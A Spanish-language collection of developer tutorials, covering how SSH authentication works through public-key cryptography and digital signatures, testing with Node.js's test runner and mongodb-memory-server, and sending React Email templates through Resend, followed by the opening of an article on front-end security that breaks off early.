Pero hay otro tipo de encriptación llamada encriptación de llave asimétrica. Ahora que entiendes la encriptación de llave simétrica, sigamos con la encriptación de llave asimétrica.

Encriptación de Llave Asimétrica

En la encriptación de llave simétrica, como vimos arriba, la misma llave era usada por el gobernante y el comandante del ejército para encriptar y descifrar el mensaje.

Pero en una encriptación de llave asimétrica, hay dos llaves (llamado un par de llaves). De las dos llaves, una es una llave privada y la otra es una llave pública.

La llave pública puede ser compartido con todos (el cual por eso se llama pública). Pero la llave privada tiene que mantenerse, ¡en secreto! Nunca debe ser revelado a nadie.

Lo interesante sobre la encriptación de llave asimétrica es eso, si un mensaje es encriptado con la llave pública, entonces puede ser descifrado solamente con la llave privada correspondiente. Ninguna otra llave puede descifrarlo.

Y funciona de la otra forma también. Si un mensaje es encriptado con la llave privada entonces puede ser descifrado solamente usando la llave pública correspondiente.

Las dos llaves – pública y privada – están enlazados matemáticamente uno con el otro. Mientras uno encripta, el otro descifra.

Sólo una pequeña nota, la encriptación de llave asimétrica también se le llama encriptación de llave pública. Estos dos términos son usados de forma intercambiable pero significa lo mismo.

Funciones Hash Criptográficas

Una función hash criptográfica está diseñada para tomar una entrada de cualquier longitud y producir una salida de longitud fijada. La salida de longitud fijada se le denomina valor hash.

Un ejemplo popular de una función hash criptográfica es SHA-256.

La imagen de arriba muestra el valor hash SHA-256 de la entrada "freeCodeCamp.org". Las funciones hash criptográficas tienen tres propiedades que lo hacen muy útiles (lo veremos en las próximas secciones).

Primero, es prácticamente imposible para tomar el valor hash y averiguar la entrada del valor hash.

Por ejemplo, si nos dan el valor hash c9c31315ef2257e4b7698, no hay forma de que averigüemos que la entrada a la función hash fuere "freeCodeCamp.org".

Segundo, si pasamos la misma entrada a la función hash, obtenemos el mismo valor hash como la salida.

Si pasamos "freeCodeCamp.org" nuevamente a la función hash SHA-256, obtendremos la misma salida hash como nuestra llamada previa.

Tercero, dos entradas distintas nunca comparten el mismo valor hash. Inclusive el cambio más ligero en la entrada produce una salida totalmente distinta.

Supón que si proveemos "freeCodeCamp" como entrada en vez de "freeCodeCamp.org" – obtenemos una salida totalmente distinta.

Firmas Digitales

En tus vidas diarias, podrías tener que firma varios documentos. Podrían ser documentos legales, o el boletín de calificaciones de tus hijos, o tal vez algo más.

Cuando tu firma esté presente en el documento, le transmite a la otra parte que eres tú el que está de acuerdo cualquier cosa que esté escrito en ese documento.

Luego, no puedes dar marcha atrás de lo que está escrito en el documento. ¿Correcto?

De forma similar, en el mundo digital, tenemos las firmas digitales – o podemos simplemente llamarlos firmas.

Entendamos cómo funcionan las firmas usando un ejemplo. Tenemos dos usuarios llamados "Alice" y "Bob".

Bob quiere transferir algo de dinero a la cuenta bancaria de Alice. Así que Bob le pide a Alice su información de cuenta bancaria.

Alice sabe sobre las firmas digitales y decidió usar una. Al final, entenderás por qué Alice optó por una firma digital.

Antes de que Alice pueda crear una firma digital. Alice provee a Bib su clave pública (y guarda la clave privada para sí misma).

Luego Alice crea una firma digital y lo color al final del documento.

Una firma digital se crea primero al pasar el contenido del documento a una función hash criptográfica como SHA-256. En el caso de Alice, el contenido del documento es su número de cuenta bancaria.

Una vez que obtenemos el valor hash, se encripta con la clave privada de Alice. La salida de esta encriptación es la firma el cual se coloca al final del documento.

Luego esto se lo envía a Bob por Internet.

Cuando Bob recibe este documento, verifica si la firma es válida o no.

Para verificar la firma, Bob primero descifra la firma con la clave pública de Alice. Si lo recuerdas, Alice generó la firma al encriptar el valor hash.

 plaintext                         ciphertext  
     |                                 |
     |                                 |
     |                                 |
hash value --------encrypt--------> signature

Así que, cuando Bob descifra la firma, obtendrá el valor hash que Alice calculó. Llamemos a este valor hash de Alice.

 ciphertext                         plaintext  
     |                                 |
     |                                 |
     |                                 |
signature --------decrypt--------> hash value

Luego Bob toma el número de la cuenta bancaria que esta presente en el documento y lo pasa a la función hash.

Finalmente, Bob coincide el valor hash de Alice (la firma descifrada) y el valor hash que calculó. Si ambos valores hash coinciden entonces significa que la firma es válida.

Muy bien – ¿pero por qué necesitábamos hacer todo esto? ¿Qué significa si la firma es válida?

Cuando la verificación de la firma es exitosa, prueba dos cosas.

Primero, prueba que el documento ha sido enviado por Alice solamente. Nadie más podría haber enviado este documento.

La garantía de que solamente Alice ha enviado este documento viene del hecho de que fuimos capaces de descifrar la firma usando la clave pública de Alice.

Hemos aprendido de que si algo es encriptado usando una clave privada entonces puede ser descifrado solamente usando su clave pública vinculada.

Asi que, si Bob fue capaz de descifrar la firma usando la clave pública de Alice, significa que fue descifrado utilizando la clave privada de Alice, ¿correcto?

Y solamente Alice tiene acceso a su clave privada. Esto significa que, ¡Alice es la única persona quien podría haber enviado este documento!

Segundo, prueba que el contenido del mensaje no ha sido modificado por un atacante durante la transmisión en red.

Hicimos dos cosas para verificar la firma. Desciframos la firma, y nos dio el valor hash que Alice calculó. Y también hasheamos el número de cuenta bancaria recibido.

Si el valor hash que Alice caluló y el valor hash que Bob calculó son los mismos, significa que Alice y Bob dieron exactamente la misma entrada a la función hash.

Y esto significa que el número de cuenta bancaria que Alice envió y que Bob recibió son exactamente los mismos.

Si un atacante habría cambiado el número de cuenta bancaria antes de que el documento le llegara a Bob, entonces Bob hubiera recibido un número de cuenta bancaria modificado.

Cuando Bob fuera a calcular el valor hash de este número de cuenta bancaria modificado, el valor hash hubiera sido distinto de lo que Alice había calculado.

Así que mientras coincida el valor hash de Alice (firma descifrada) y el valor hash que Bob calculó, la coincidencia fallaría. Y evitaría que Bob transfiera dinero al número de cuenta bancaria errónea.

Para concluir, cuando la firma es verificada con éxito, significa que:

1. El documento es solamente de Alice.
2. El contenido del documento no fue modificado por algún tercero.

Ahora has aprendido sobre encriptación de clave simétrica, encriptación de clave asimétrica, funciones de hash criptográficas, y firmas digitales. ¡Es genial!

Hemos construido una fundación realmente sólido. Ahora entender la autenticación SSH va a ser mucho más fácil para ti.

Cómo Funciona la Autenticación SSH

Si no has configurado la autenticación SSH con Github, entonces después de terminar este artículo puedes seguir la documentación detallada de Github sobre cómo hacerlo. Por ahora, por favor quédate hasta el final.

La cruz del proceso de configuración es que crees un par de claves pública y privada en tu computadora local. Luego subes tu clave pública a tu perfil de Github – ¡y eso es todo!

Después que hemos creado nuestro par de claves pública y privada, en Ubuntu, el par de claves se almacenan dentro de la carpeta ~/.ssh.

La imagen de arriba muestra mi clave pública. Tengo esta clave pública cargada en mi perfil de Github:

Ahora, cuando ejecuto git push o cualquier otro comando que se quiera comunicar con Github, estaré autenticado usando la autenticación SSH.

SSH es un protocolo cliente-servidor. Nuestra computadora que ejecuta git push es el cliente SSH. Github es el servidor SSH.

El cliente comienza con el proceso de autenticación al solicitar nuestra clave pública que tenemos dentro de ~/.ssh.

Luego el cliente prepara un mensaje el cual tiene nuestra clave pública. Y luego el cliente genera la firma usando la clave privada correspondiente.

La clave pública y la firma se envían a Github. Al recibir este mensaje, Github hace dos cosas:

Primero, verifica si la clave pública mencionada en el mensaje se conecta a un perfil de Gihtub o no. Ya que subimos nuestra clave pública a Github, este paso se realizó con éxito.

Segundo, Github verifica la firma usando la clave pública que hemos subido.

Hemos aprendido que si la verificación de la firma termina siendo exitoso significa que solamente la persona quién está en posesión de la clave privada correspondiente podría haber enviado el mensaje.

Ya que solamente tenemos la clave privada vinculada a la clave pública cargada, esto prueba a Github que en realidad somos nosotros intentando comunicarse con Github y no un atacante.

Ahora, Github es 100% seguro que somos la persona correcta, estamos autenticados exitosamente, y a nuestro git push se le permite proceder.

Ves, se volvió fácil de entender la autenticación SSH ya que aprendiste los fundamentos.

La imagen de arriba es del cómic popular xkcd. El personaje allí (llamado Cueball) está pensando en revelar su clave privada. Espero que ahora sepas por qué está mal revelar tu clave privada.

Si revelas tu clave privada entonces alguien más puede autenticarse a Github en tu nombre. No quieres que eso suceda, ¿verdad? ;)

Así que, siempre asegúrate de mantener tu clave privada para ti mismo nada más.

Resumiendo Todo

Si has llegado hasta acá, entonces felicitaciones 🥳.

Has aprendido como funciona en realidad la autenticación SSH – cuando la firma fue verificado exitosamente por Github, le confirma a Github que somos nosotros quienes le estamos hablando, no un atacante.

A lo largo adquiriste una comprensión fundamental de la encriptación de clave simétrica, encriptación de clave asimétrica, funciones hash criptográficas y firmas digitales.

Gracias por estar conmigo en esta, espero que te vayas con algunos nuevos y valiosos aprendizajes.

Pongo ideas y recursos útiles en mi Twitter. Deberías seguirme allí. Respetaré tu tiempo.

Recientemente migré algunas pruebas de Jest al ejecutor de pruebas de Node.js en dos de mis proyectos que usan MongoDB. En uno de esos proyectos, el tiempo de ejecución de las pruebas fue reducido de 107 segundos a 25 segundos (captura de pantalla abajo). En el otro proyecto, el tiempo de ejecución de las pruebas fue reducido cerca de un 66%.

Decidí compartirte cómo pude implementarlo. Pienso que te será de utilidad, ya que es más rentable (en términos de reducir dinero gastado en ejecutar pruebas en CI/CD), y también mejora tu experiencia de desarrollo.

Tabla de Contenidos

• Pre-requisitos
• El Ejecutor de Pruebas de Node.js
• El Servidor en memoria de MongoDB

• Cómo escribir las Pruebas
  1. Configurar el Proyecto
  2. Configurar el Esquema de Mongoose
  3. Configurar los Servicios
  4. Configurar las Pruebas
  5. Escribir las Pruebas
  6. Pasar las Pruebas
  7. Usar TypeScript (Opcional)

• Conclusión

Pre-requisitos

Para seguir esta guía, deberías de tener experiencia trabajando con Node.js, MongoDB y Mongoose (o cualquier otro mapeador de datos de objetos de MongoDB). Deberías también tener instalado Node.js (al menos la versión 20.18.2) y MongoDB (Compass la versión GUI) en tu computadora.

El Ejecutor de Pruebas de Node.js

El ejecutor de pruebas de Node.js fue introducido como una característica experimental en la versión 18 de Node.js. Se volvió disponible oficialmente en la versión 20. Te da la habilidad de:

1. Ejecutar pruebas
2. Reportar resultados de las pruebas
3. Reportar cobertura de las pruebas (todavía experimental en la versión 23)

Es una buena idea el usar el ejecutor de pruebas incorporado cuando se escriban pruebas en Node.js porque significa que tienes que usar menos dependencias externas. No necesitas instalar una librería externa (y sus dependencias entre pares) para ejecutar las pruebas.

El mejor ejecutor incorporado también es el más rápido. Basado en mi experiencia usándolo en dos proyectos (los cuales usaron Jest), vi mejoras de al menos una reducción del 66% en el tiempo que tomó ejecutar las pruebas completamente.

Y a diferencia de otros frameworks o librerías de pruebas, el ejecutor de pruebas de Node.js fue construido especialmente para proyectos de Node.js. No trata de acomodar las especificaciones de otros entornos de programación como el navegador. Las especificaciones de Node.js son su principal y única prioridad.

El Servidor en memoria de MongoDB

Para las pruebas que involucran el hacer peticiones a una base de datos, algunos desarrolladores prefieren imitar las peticiones para evitar hacer peticiones a una base de datos real. Hacen esto porque hacer una petición a una base de datos real requiere un montón de configuraciones que puede costar tiempo y recursos.

Escribir y solicitar datos usando una base de datos real es más lento comparado con escribir y solicitar datos de la memoria. Cuando se ejecutan pruebas automatizadas, usando un servidor de MongoDB real será más lento que usar un servidor de base de datos en memoria, y ahí es donde mongodb-memory-server se vuelve útil.

Según su documentación, mongodb-memory-server crea y comienza un servidor de MongoDB real de forma programática desde dentro de Node.js, pero usa una base de datos en memoria por defecto. También te permite conectar el servidor de base de datos que crea usando tu mapeador de datos de objetos preferido tales como Mongoose, Prisma, o TypeORM. En esta guía, usaremos Mongoose (v.8.9.6).

Ya que los datos almacenados por mongodb-memory-server reside en la memoria por defecto, es más rápido leer y escribir en él que cuando se usa una base de datos real. mongodb-memory-server también es más fácil de configurar. Estos beneficios lo hace una buena elección para usarlo como un servidor de base de datos para escribir pruebas.

Nota: asegúrate de instalar la versión 9.1.6 de mongodb-memory-server para seguir esta guía. La versión 10 actualmente tiene problemas con limpiar los recursos después que se hacen las pruebas. Mira este problema con el título "Node forking will include any --import from the original command".

El problema ha sido resuelto al tiempo de escribir este artículo, pero el arreglo no ha sido fusionado para las instalaciones.

Cómo escribir las Pruebas

Ahora te guiaré a través de los siguientes pasos para que comiences a escribir las pruebas:

1. Configurar el proyecto
2. Configurar el esquema de Mongoose
3. Configurar los servicios
4. Configurar las pruebas
5. Escribir las pruebas
6. Pasar las pruebas
7. Usa TypeScript (Opcional)

1. Configurar el Proyecto

Creé un repositorio de Github para facilitarte que sigas esta guía. Clona este repositorio en nodejs-test-runner-mongoose y dirígete a la rama 01-setup.

En 01-setup, las dependencias para el proyecto están el archivo package.json. Instala las dependencias usando el comando npm install para configurar el proyecto. Asegúrate de que la configuración esté completa y correcta, ejecuta el comando node . en la terminal de tu proyecto. Deberías ver tu versión de Node.js  como una salida en la terminal.

# instala las dependencias
npm install
...
# ejecuta el comando node
node .
# la salida
You are running Node.js v22.13.1

2. Configurar el Esquema de Mongoose

Configuraremos el esquema para dos colecciones (Task y User) en la rama 02-setup-schema usando Mongoose. Los archivos task/model.mjs y user/model.mjs contienen el esquema para las colecciones Task y User, respectivamente. También configuraremos una conexión de base de datos en index.mjs para asegurar que la configuración del esquema funcione correctamente.

No iré en detalle sobre los modelos y esquemas de Mongoose en este artículo porque están fuera de su alcance.

Cuando ejecutas el comando node . después de implementar los cambios en 02-setup-schema, deberías de ver un resultado similar en la consola como en el fragmento de abajo:

node .
You are running Node.js v22.13.1
Created user with id 679f1d7f73fbeaf23b2007df
Created task "Task title" for user with id "679f1d7f73fbeaf23b2007df"

Puedes ver las diferencias entre 01-setup y 02-setup-schema a través de la diferencia 01-setup <> 02-setup-schema en Github.

3. Configurar los Servicios

Luego, creamos los archivos de servicio (task/service.mjs y user/service.mjs) en la rama 03-setup-services. Ambos archivos actualmente contienen funciones vacías en el que escribiremos las pruebas más tarde. Estas funciones contendrán la lógica de negocio y también se comunicará con la base de datos. Estamos usando comentarios de JSDoc para escribir parámetros y regresar valores.

Haz clic en la diferencia de 02-setup-schema <> 03-setup-services para ver los cambios de código entre 02-setup-schema y 03-setup-services.

4. Configurar las Pruebas

En la rama 04-set-up-tests, configuramos la base de código para ejecutar las pruebas. Creamos test.setup.mjs el cual contiene el código que será ejecutado antes de que cada archivo de prueba se ejecute.

En test.setup.mjs, la función connect crea un servidor de MongoDB en memoria y lo conecta con Mongoose para ejecutar las pruebas. La función closeDatabase cierra la conexión de la base de datos y limpia todos los recursos para liberar memoria.

Las funciones connect y closeDatabase se ejecutan en el hook t.before y en el hook t.after respectivamente. Esto asegura eso, antes que un archivo test se ejecute, una conexión de base de datos se establece a través t.before. Luego de que se hayan ejecutado las pruebas del archivo, la conexión de la base de datos se cae y los recursos usados se limpian a través de t.after.

En package.json, actualizaremos el script de npm test a node --test --import ./test.setup.mjs. Este comando asegura que Módulo Es test.setup.mjs se pre-cargue y se ejecute a través del comando --import del CLI antes de que cada archivo de prueba se ejecute.

Luego crearemos los archivos de prueba con pruebas vacías en las carpetas __tests__ para user y task. Después de implementar los nuevos cambios en 04-set-up-tests, ejecutar el script test con npm run test debería de mostrar la salida similar al fragmento de abajo:

npm run test

> nodejs-test-runner-mongoose@1.0.0 test
> node --test --import ./test.setup.mjs

...

ℹ tests 8
ℹ suites 5
ℹ pass 8
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 941.768873

Todas las pruebas actualmente pasan porque no hay aserciones que fallen. Escribiremos las pruebas con aserciones en la siguiente sección.

5. Escribir Pruebas

Ahora es tiempo de escribir las pruebas para las funciones en los archivos de service en la rama 05-write-tests. Estamos usando la librería de aserción de Node.js para asegurar que los valores regresados de las funciones sean lo que esperamos. Puedes ver las pruebas que hemos escrito cuando comparas las diferencias entre 04-set-up-tests y 05-write-tests.

Cuando el script tests se ejecute, todas las pruebas fallan porque no hemos escritos las funciones en los archivos de service todavía. Debería de ver una salida similar al fragmento de abajo cuando ejecutes el script test:

npm run test

> nodejs-test-runner-mongoose@1.0.0 test
> node --test --import ./test.setup.mjs

...

ℹ tests 8
ℹ suites 5
ℹ pass 0
ℹ fail 8
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 1202.031961

6. Pasar las Pruebas

En 06-pass-tests, escribimos las funciones en los archivos de service que pasen las pruebas. Solamente 6 de 7 pruebas pasan cuando el script test se ejecuta porque salteamos la prueba para la función getById en user/service.mjs con t.skip. No hemos terminado la función getById en user/service.mjs. Supuse que podríamos dejarlo como ejercicio.

Cuando ejecutas el script test, deberías obtener una salida similar en la terminal como el de abajo:

ℹ tests 7
ℹ suites 4
ℹ pass 6
ℹ fail 0
ℹ cancelled 0
ℹ skipped 1
ℹ todo 0
ℹ duration_ms 1287.564918

Puedes ver el código que escribimos para pasar las pruebas en los cambios de código entre 05-write-tests y 06-pass-tests.

7. Usa TypeScript (Opcional)

Si tu intención es ejecutar las pruebas con TypeScript, puedes cambiar a la rama 07-with-typescript. Necesitas tener Node.js >=22.6.0 instalado porque estamos usando la opción --experimental-strip-types en el test. Para configurar las pruebas que se ejecuten con TypeScript, sigue los siguientes pasos:

1. Instala TypeScript usando el comando npm install typescript --save-dev
2. Instala tsx usando el comando npm install tsx
3. Crea un archivo predeterminado tsconfig.json en la raíz del proyecto usando el comando npx tsc --init

En  package.json, actualiza el script test a esto:

"test": "node --test --experimental-strip-types --import tsx --import ./test.setup.mjs"

• --experimental-strip-types ayuda a eliminar tipos antes de cada archivo de prueba se ejecute.

Pre-cargar tsx con el --import ayuda a ejecutar el archivo de TypeScript. Sin él, el ejecutor de pruebas no será capaz de encontrar archivos importados sin la extensión .ts. Por ejemplo, user/model.ts importado con el fragmento de código de abajo no será encontrado.

  import { UserModel } from "./model";

El resto de los cambios desde 06-pass-tests a 07-with-typescript involucran actualizar los tipos, cambiar las extensiones de archivo de .mjs a .ts y actualizar las declaraciones import.

Conclusión

En esta guía, has aprendido cómo usar el ejecutor de pruebas incorporado de Node.js y por qué es frecuentemente una mejor elección sobre otras librerías y frameworks de pruebas. También has aprendido cómo usar mongodb-memory-server como un reemplazo de un servidor real de MongoDB, así también como por qué es una buena idea usarlo en vez de un servidor real de MongoDB para las pruebas.

Lo más importante, has aprendido cómo configurar y ejecutar las pruebas en Node.js usando el ejecutor de pruebas de Node.js y mongodb-memory-server. Ahora deberías de saber cómo configurar tus proyectos para que ejecuten las pruebas si usas TypeScript.

Si encuentras útil a este repositorio nodejs-test-runner-mongoose, por favor dale una estrella. Me anima mucho. Gracias.

En este tutorial, aprenderás cómo diseñar plantillas asombrosas de email con React Email y enviarlos usando Resend – una potente plataforma API de correo electrónico.

Pre-requisitos

Para aprovechar lo máximo de este tutorial, deberías tener un entendimiento básico de React o Next.js.

También haremos uso de las siguientes herramientas:

• React Email: Una librería que te permite crear plantillas de email diseñadas hermosamente usando componentes de React.
• Resend: Una poderosa y sencilla plataforma API para enviar emails desde tus aplicaciones.

Cómo construir la Aplicación con Next.js

En esta sección, crearás una aplicación sencilla de soporte de cliente. La aplicación incluirá un formulario para usuarios para enviar sus solicitudes, el cual dispara una notificación de email confirmando que un ticket de soporte ha sido creado.

Para comenzar, primero configuraremos la interfaz de usuario y un endpoint de la API.

Ejecuta el siguiente comando para crear un nuevo proyecto de Next.js con TypeScript:

npx create-next-app react-email-resend

Actualiza el archivo app/page.tsx para renderizar un formulario que recoge los detalles del cliente, incluyendo su nombre completo, la dirección de email, el asunto del ticket, y un mensaje con detalles describiendo el problema. Cuando el formulario se envía, los datos son registrados a la consola usando la función handleSubmit.

"use client";
import support from "@/app/images/support.jpg";
import { useState } from "react";
import Image from "next/image";

export default function Page() {
    //👇🏻 estados de las entradas
    const [name, setName] = useState<string>("");
    const [email, setEmail] = useState<string>("");
    const [subject, setSubject] = useState<string>("");
    const [content, setContent] = useState<string>("");

    const handleSubmit = async (e: React.FormEvent) => {
        e.preventDefault();
        //👇🏻 registra las entradas del usuario
        console.log({ name, email, subject, content });
    };
return ({/** -- elementos de UI -- */})
}

Regresa los elementos UI del formulario que aceptan el nombre completo del usuario, la dirección de email, asunto del ticket, y un mensaje con los detalles describiendo el problema.

    return (
        <main className='w-full min-h-screen flex items-center justify-between'>
                <form className='w-full' onSubmit={handleSubmit}>
                    <label htmlFor='name' className='opacity-60'>
                        Full Name
                    </label>
                    <input
                        type='text'
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='name'
                        required
                        value={name}
                        onChange={(e) => setName(e.target.value)}
                    />

                    <label htmlFor='email' className='opacity-60'>
                        Email Address
                    </label>
                    <input
                        type='email'
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='email'
                        value={email}
                        onChange={(e) => setEmail(e.target.value)}
                        required
                    />

                    <label htmlFor='subject' className='opacity-60'>
                        Subject
                    </label>
                    <input
                        type='text'
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='subject'
                        value={subject}
                        onChange={(e) => setSubject(e.target.value)}
                        required
                    />

                    <label htmlFor='message' className='opacity-60'>
                        Message
                    </label>
                    <textarea
                        rows={7}
                        className='w-full px-4 py-3 border-[1px] mb-3 border-gray-300 rounded-sm'
                        id='message'
                        required
                        value={content}
                        onChange={(e) => setContent(e.target.value)}
                    />

                    <button className='w-full bg-blue-500 py-4 px-3 rounded-md font-bold text-blue-50'>
                        SEND MESSAGE
                    </button>
                </form>
            </div>
        </main>
    );

Aquí está la página resultante del componente:

Luego, crea un endpoint de la API (/api/route.ts) que acepta las entradas del cliente.

cd app
mkdir api && cd api
touch route.ts

Copia el siguiente código en el archivo api/route.ts. El endpoint de la API registra la entrada del cliente a la consola después de recibirla.

import { NextRequest, NextResponse } from "next/server";

export async function POST(req: NextRequest) {
    const { name, email, subject, content } = await req.json();
    //👇🏻 registra los contenidos
    console.log({ name, email, subject, content });
    return NextResponse.json({
        message: "Email enviado con éxito",
        data,
 });
}

Actualiza la función handleSubmit para enviar los datos del cliente al endpoint de la API y regresa la respuesta JSON:

const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault();

    try {
        const response = await fetch("/api", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify({ name, email, subject, content }),
        });
        const data = await response.json();
        alert(data.message);
    } catch (error) {
        console.error(error);
        alert("Un error ocurrió, por favor intenta nuevamente más tarde");
    }
    setName("");
    setEmail("");
    setSubject("");
    setContent("");
};

¡Felicidades! Has configurado la colección de datos y el envío. En las próximas secciones, te mostraré cómo crear y enviar plantillas de email con React Email y Resend.

Cómo crear Plantillas de Email usando React Email

React Email te permite construir y enviar componentes de email usando React y TypeScript. Soporta múltiples clientes de email, incluyendo Gmail, Mail de Yahoo, Outlook, y Mail de Apple.

React Email también provee múltiples componentes UI que te permiten personalizar las plantillas de email según tu diseño preferido usando componentes de React JSX/TSX.

Instala el paquete React Email y sus componentes al ejecutar el fragmento de código de abajo:

npm install react-email -D -E
npm install @react-email/components -E

Incluye este escript en tu archivo package.json. Dirige a React Email a dónde están localizados las plantillas de email en tu proyecto.

  "scripts": {
    "email": "email dev --dir src/emails"
  },

Una de las características de React Email es la habilidad de pre-visualizar tu plantilla de email en tu navegador durante el desarrollo, permitiéndote ver cómo aparecerá en el email del receptor.

Así que luego, crea una carpeta emails que contenga un archivo TicketCreated.tsx dentro de la carpeta src de Next.js y copia el siguiente fragmento de código en el archivo:

import * as React from "react";
import {
    Body,
    Container,
    Head,
    Heading,
    Hr,
    Html,
    Link,
    Preview,
    Text,
    Tailwind,
} from "@react-email/components";

interface TicketCreatedProps {
    username: string;
    ticketID: string;
}

const baseUrl = process.env.VERCEL_URL || "http://localhost:3000";

En el fragmento de código de arriba, importamos los componentes necesarios para construir la plantilla de email.

Luego, agrega el componente TicketCreated al archivo para renderizar la plantilla de email usando los componentes de React Email.

export const TicketCreated = ({ username, ticketID }: TicketCreatedProps) => {
    return (
        <Html>
            <Head />
            <Preview>Email de Confirmación del Ticket de Soporte 🎉</Preview>
            <Tailwind>
                <Body className='bg-white my-auto mx-auto font-sans px-2'>
                    <Container className='border border-solid border-[#eaeaea] rounded my-[40px] mx-auto p-[20px] max-w-[465px]'>
                        <Heading className='text-black text-[24px] font-normal text-center p-0 my-[30px] mx-0'>
                            Tu Ticket ha sido creado
                        </Heading>
                        <Text className='text-black text-[14px] leading-[24px]'>
                        Hola {username},
                        </Text>
                        <Text className='text-black text-[14px] leading-[24px]'>
                            <strong>El Ticket de Soporte</strong> (<Link href={`${baseUrl}/ticket/${ticketID}`} className='text-blue-600 no-underline'>{`#${ticketID}`}</Link>) ha sido creado con éxito.
                        </Text>

                        <Text className='text-black text-[14px] leading-[24px]'>El Equipo de Soporte revisará tu ticket y volverán contigo en breve.
                        </Text>

                        <Hr className='border border-solid border-[#eaeaea] my-[26px] mx-0 w-full' />
                        <Text className='text-[#666666] text-[12px] leading-[24px]'>Este mensaje estaba dirigido a {" "} <span className='text-black'>{username}</span>. Si no creaste este ticket, por favor ignora este email.
                        </Text>
                    </Container>
                </Body>
            </Tailwind>
        </Html>
    );
};

Finalmente, expórtalo y agrega un valor predeterminado para las props:

TicketCreated.PreviewProps = {
    username: "alanturing",
    ticketID: "9083475",
} as TicketCreatedProps;

export default TicketCreated;

Ejecuta npm run email en tu terminal para pre-visualizar la plantilla de email.

Esta plantilla de email notifica a los clientes que su ticket de soporte ha sido creado y que alguien del equipo de soporte se comunicarán con ellos.

React Email ofrece una variedad de plantillas de email pre-diseñada, facilitando el crear email con estilos hermosos para distintos propósitos. Puedes revisar el demo disponible para ver ejemplos de lo que es posible.

Cómo enviar Emails con Resend

Resend es una API de email sencilla que te permite enviar emails dentro de tu aplicación de software. Soporta un montón de lenguajes de programación, incluyendo JavaScript (Next.js, Express, Node.js), Python, PHP, Go, and Rust, entre otros.

Resend y React Email pueden ser fácilmente integrados juntamente ya que el co-fundador de Resend, Bu Kinoshita, es también el creador de React Email.

Crea una cuenta en Resend. Una vez que iniciaste sesión, navega hacia la sección de claves de API en tu panel y copia tu clave de API en un archivo .env.local.

//👇🏻 archivo .env.local 
RESEND_API_KEY=<RESEND_API_KEY>

Actualiza el endpoint de la API para enviar un email usando la plantilla de React Email, como se muestra abajo:

import { NextRequest, NextResponse } from "next/server";
//👇🏻 función generado del ID del boleto
import { v4 as generateID } from "uuid";
//👇🏻 importa la plantilla de email
import TicketCreated from "@/emails/TicketCreated";
//👇🏻 imports Resend
import { Resend } from "resend";
const resend = new Resend(process.env.RESEND_API_KEY);

export async function POST(req: NextRequest) {
    //👇🏻 acepta la entrada del cliente desde el frontend
    const { name, email, subject, content } = await req.json();
    //👇🏻 los registra
    console.log({ name, email, subject, content });
    //👇🏻 envia una email usando la plantilla de email
    const { data, error } = await resend.emails.send({
        from: "Acme <onboarding@resend.dev>",
        to: [email],
        subject: "Email de Confirmación del Ticket 🎉",
        react: TicketCreated({ username: name, ticketID: generateID() }),
    });

    if (error) {
        return NextResponse.json(
            { message: "Hubo un error al enviar el email" },
            { status: 500 }
        );
    }

    return NextResponse.json({
        message: "El email se envió con éxito",
        data,
    });
}

¡Felicidades!🥳 Has completado este tutorial.

Aquí un breve demo de la aplicación:

Próximos Pasos

En este tutorial, aprendiste cómo crear plantillas de email con React Email y enviarlos usando Resend. Ambos paquetes te permiten integra la comunicación de email fácilmente con tus aplicaciones.

Ya sean simples las notificaciones de email, los boletines informativos, o campañas de marketing, React Email y Resend ofrecen una solución eficiente y personalizable para satisfacer tus necesidades.

Algunos recursos útiles incluyen:

• Componentes pre-construidas de React Email
• Documentación de React Email
• Cómo instalar Resend en aplicaciones de Next.js

¡Gracias por leer!

En estos días, los ciberataques están incrementando las preocupaciones de las que todos en un equipo de desarrollo deberían ser conscientes. Esto significa que si eres un desarrollador, deberías aprender algunas bases de las habilidades de ciberseguridad.

Después de todo, los atacantes son típicamente desarrolladores en sí mismo, y sus ataques solamente están aumentando en frecuencia, variedad, y complejidad.

No te digo esto para inculcar miedo. Simplemente, creo que todos los desarrolladores deberían aumentar sus habilidades de ciberseguridad, punto. No solamente entendiendo los principios, sino aplicándolos también. Y esto no es solo importante para ti si trabajas con el equipo de DevSecOps. Es importante para todos.

Así que, ¿cuál es el rol crítico que los desarrolladores de Front-end pueden jugar al proteger aplicaciones y productos? Continúa leyendo para averiguarlo.

Tabla de Contenidos

• La Ciberseguridad no es solamente una responsabilidad del Back-End
• Entendiendo el Rol del Desarrollador de Front-End en Seguridad
• Amenazas de Ciberseguridad del Mundo Real afectando al Front-end

• Pasos Prácticos para Mitigar Vulnerabilidades de Terceros
• Principios Básicos de Ciberseguriad para Desarrolladores de Front-End

• Conclusión

La Ciberseguridad no es solamente una responsabilidad del Back-End

La Ciberseguridad ya no es algo que solamente se deben de preocupar los desarrolladores de Back-end.

Aprender estas habilidades pueden beneficiar a cada desarrollador, pero en este artículo, me enfocaré en el desarrollo de Front-end por dos razones.

Primero, el desarrollo de Front-end es usualmente visto como el lado más creativo del desarrollo. No es que los equipos no vean a la ciberseguridad como algo importante aquí, pero no suele ser una prioridad. Esta forma de pensar podría llevar a errores catastróficos que comprometen todo el sistema completo. Especialmente porque las vulnerabilidades de Front-end son comúnmente explotados en estos días.

La otra razón es que el Front-end es donde el cliente interactúa con la aplicación y probablemente tenga su primera interacción real con la marca. Los desarrolladores de Front-end necesitan asegurar que esta experiencia sea fructífera, positiva, amigable, y construya confianza.

Ya hay muchas personas hablando sobre mantener el Back-end seguro, – ya que eso viene con el territorio. Así que, hablemos sobre por qué necesitas mitigar los riesgos en el Front-end, para qué riesgos específicos prepararse, y cómo mejorar tus habilidades de ciberseguridad.

Nota rápida – estas habilidades no solo van a ser útiles y prácticas para agregar a tu caja de herramientas. También te prepararán para nuevas oportunidades para crecer en tu carrera, especialmente ahora que la industria de la ciberseguridad continúa creciendo.

Entendiendo el Rol del Desarrollador de Front-End en Seguridad

Los desarrolladores de Front-end juegan un rol crucial como la primera línea de defensa en contra de los atacantes.

